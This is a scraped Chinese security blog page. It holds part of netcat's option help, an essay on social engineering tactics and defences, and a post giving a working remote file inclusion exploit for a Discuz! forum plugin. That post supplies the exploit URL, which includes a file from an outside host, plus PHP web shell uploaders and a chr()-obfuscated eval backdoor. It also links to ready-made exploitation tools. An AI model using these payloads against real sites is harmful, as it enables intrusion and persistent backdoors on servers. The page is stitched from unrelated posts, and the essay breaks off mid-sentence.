-p port local port number

-r randomize local and remote ports

-s addr local source address

-t answer telnet negotiation

-u udp mode

-v verbose [use twice to be more verbose]

-w secs timeout for connects and final net reads

-z zero-i/o mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]

分类: 技术文章 标签:

社会工程学 信息安全对抗新领域

2006年10月18日 Chinadu 没有评论

信息安全的脆弱性是普遍存在的,任何一个系统都具有潜在的安全风险。近年来,利用社会工程学手段,突破信息安全防御措施的事件,已经呈现出上升甚至泛滥的趋势,成为信息安全保密工作中最脆弱的一个环节。
社会的与风险的

  社会工程学(Social Engineering)是一种利用人的弱点:如人的本能反应、好奇心、信任、贪婪等进行诸如欺骗、伤害等危害手段,获取自身利益的手法。

  近年来,由于信息安全厂商不断开发出更先进的安全产品,系统安全防范在技术上越来越严密,使得攻击者利用技术上的漏洞变得越来越困难。于是,更多的人转向利用人为因素的手段----社会工程学来进行攻击。

  许多信息技术从业者都普遍存在着类似的一种观念:他们认为自己的系统部署了先进、周密的安全设备----防火墙、IDS、IPS、漏洞扫描、防病毒网关、内容过滤、安全审计、身份认证和访问控制系统,甚至于最新的UTM和防水墙,以为靠这些安全设施即可保证系统的安全。

  事实上,很多安全行为出现在骗取内部人员(信息系统管理、使用、维护人员等)的信任,从而轻松绕过所有技术上的保护。信任是一切安全的基础,对于保护与审核的信任,通常被认为是整个安全链条中最薄弱的一环。为规避安全风险,技术专家精心设计的安全解决方案,却很少重视和解决最大的安全漏洞----人为因素。

  无论是在现实世界还是在虚拟的网络空间,任何一个可以访问系统的人,都有可能构成潜在的安全风险与威胁。很多最敏感的信息存在于人的头脑当中,各种安全设施要由人来掌控,这意味着如果没有把“人”这个因素放进整体安全管理策略中去,仅仅热衷于技术层面的所谓全面解决方案,仍将会存在一个很大的安全“裂缝”,或者说是整个安全“木桶”存在着最短的一块木板。

  缺乏对社会工程学防范的信息系统,不管其安全技术多么先进完善,很可能会成为一种自我安慰的摆设,其投入大笔资金购置的最先进的安全设备,很可能成为一种浪费。

  Gartner集团信息安全与风险研究主任Rich Mogull认为:“社会工程学是未来10年最大的安全风险,许多破坏力最大的行为是由于社会工程学而不是黑客或破解行为造成的”。一些信息安全专家预言,社会工程学将会是未来信息系统入侵与反入侵的重要对抗领域。

  新的攻击手段

  社会工程学攻击基本上可以分为两个层次:物理的和心理的。与以往的入侵行为相类似,社会工程学在实施之前要完成很多相关的前期工作的,这些工作甚至要比后续的入侵行为本身更为繁重和更具技巧,或者说更为“艺术”。

  这些工作包括:社会工程学的实施者(一般称为社会工程师)必须掌握心理学、人际关系学、行为学等知识与技能,以便收集和掌握实施入侵行为所需要的相关资料与信息。通常为了达到预期目的,社会工程学攻击都要将心理的和行为的攻击两者结合运用。其常见形式包括了:

  第一,伪装。从早期的求职信病毒、爱虫病毒、圣诞节贺卡到目前流行的网络钓鱼,都是利用电子邮件和伪造的Web站点来进行诈骗活动的。有调查显示,在所有接触诈骗信息的用户中,有高达5%的人都会对这些骗局做出响应。攻击者越来越喜欢玩弄社会工程学的手段,把恶件、间谍软件、勒索软件(ransom- ware)、流氓软件等网络陷阱伪装起来欺骗被害者。

  第二,引诱。社会工程学是现在多数蠕虫病毒进行传播时所使用的技术,它使计算机用户本能地去打开邮件,执行具有诱惑性同时具有危害的附件。例如,用一些关于某些型号的处理器存在运算瑕疵的“瑕疵声明”或更能引起人的兴趣的“幸运中奖”、“最新反病毒软件”等说辞,并给出一个页面连接,诱惑你进入该页面运行下载程序或在线注册个人相关信息,利用人们疏于防范的心理引诱你上钩。

  第三,恐吓。利用人们对安全、漏洞、病毒、木马、黑客等内容会特别敏感,以权威机构的面目出现,散布诸如安全警告、系统风险之类的信息,使用危言耸听的伎俩恐吓欺骗计算机用户,声称如果不及时按照他们的要求去做就会造成致命的危害或遭受严重损失。

  第四,说服。社会工程师说服目标的目的是增强他们主动完成所指派的任务的顺从意识,从而变为一个可以被信任并由此获得敏感信息的人。大多数企业咨询帮助台人员一般接受的训练都是要求他(她)们热情待人并尽可能地为来人来电提供帮助,所以这里就成了社会工程学实施者获取有价值信息的“金矿”。

  第五,恭维。社会工程师通常十分友善,很讲究说话的艺术,知道如何借助机会去迎合人,投其所好,使多数人会友善地作出回应,恭维和虚荣心的对接会让目标乐意继续合作。

  第六,渗透。通常社会工程学攻击者都擅长刺探信息,很多表面上看起来豪无用处的信息都会被他们利用来进行系统渗透。通过观察目标对电子邮件的响应速度、重视程度以及可能提供的相关资料,比如一个人的姓名、生日、ID、电话号码、管理员的IP地址、邮箱等都可能被利用起来,通过这些收集信息来判断目标的网络架构或系统密码的大致内容,从而用口令心理学来分析口令,而不仅仅是使用暴力破解。

  除了以上的攻击手段,一些比较另类的行为也开始在社会工程学中出现,其中包括像翻垃圾(dumpster diving)、背后偷窥(shoulder surfing)、反向社会工程学等都是窃取信息的捷径办法。

  催生新型防御手段

  俗话说道高一尺,魔高一丈,面对社会工程学带来的安全挑战,企业必须适应新的防御方法,主要包括了:

  第一,增加网站被假冒的难度。据国际反网络诈骗组织2005年的报告显示,中国已经成为世界上第二大拥有仿冒域名及网站的国家,占全球的12%。银行界人士分析,域名过长是假冒的根源。据悉,为预防不法分子用假域名进行网络钓鱼,截至今年上半年国内已有14家银行更改了网银域名,包括更多地使用.CN域名。如建设银行网银域名从ccb.com.cn升级为ccb.cn,中国银行域名由bank-of-china.com变更为boc.cn。同时,企业需要定期对DNS进行扫描,以检查是否存在与公司已注册的相类似的域名。此外,一般来说,在网页设计技术上不使用弹出式广告、不隐藏地址栏及框架的企业网站被假冒的可能性较小。

  第二,加强内部安全管理。尽可能把系统管理工作职责时进行分离,合理分配每个系统管理员所拥有的权力,避免权限过分集中。为防止外部人员混入内部,员工应佩戴胸卡标示,设置门禁和视频监控系统;严格办公垃圾和设备维修报废处理程序;杜绝为贪图方便,将密码粘贴或通过QQ等方式进行系统维护工作的日常联系。

  第三,开展安全防范训练。安全意识比安全措施重要的多。防范社会工程学攻击,指导和教育是关键。直接明确地给予容易受到攻击的员工一些案例教育和警示,让他们知道这些方法是如何运用和得逞的,学会辨认社会工程攻击。在这方面,要注意培养和训练企

分类: 技术文章 标签:

Discuz!许愿池插件远程包含漏洞

2006年10月16日 Chinadu 没有评论

昨天从Cnfjhh那里得到消息的。
今天看到有人公布了,火狐那里也发布利用工具了,我就也发出来。
许愿池插件的wish.php文件出的问题:


require $discuz_root.'./include/discuzcode.func.php';

手工利用方法:
远程包含漏洞,变量discuz_root过滤不严,利用方法:
http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt?
不一定非要txt后缀,可以改为任意后缀,后面一定要记得加问号。
这里xxxx.txt用CN.Tink的那个小马写个shell进去:

<?copy($_FILES[MyFile][tmp_name],"C:\Inetpub\vhosts\baidu.com\bbs\guizai.php");?>
<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>

网站物理路径可以通过提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt ,看错误提示信息,然后修改xxxx.txt中的路径即可。 guizai.php就是你上传的shell的名字。

火狐9xiao哥的方法:

<?echo '<?' ?>
if(!file_exists('forumdata/cache/9xiao.php'))
{
fputs(fopen('forumdata/cache/9xiao.php','a+'),'Am i a hacker? --9xiao <?echo '<?' ?>eval($_POST[9xiao]);<?echo '?>'?>');
}
<?echo '?>'?>

放到网站include目录下下命名为discuzcode.func.php
exp格式www.xxx.com/wish.php?discuz_root=http://9xiao.net,然后访问www.xxx.com/forumdata/cache/9xiao.php,为lanker的一句话木马服务器端

<?echo '<?' ?>
if(!file_exists('forumdata/cache/9xiao.php'))
{
<?fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62))?>
}
<?echo '?>'?>



火狐那里发布了利用工具:
通杀的远程包含漏洞利用工具 2.0
http://wrsky.com/read.php?tid=5289&fpage=1

Discuz!论坛 wish.php远程包含漏洞利用工具
http://wrsky.com/read.php?tid=5274&fpage=1

分类: 技术文章 标签: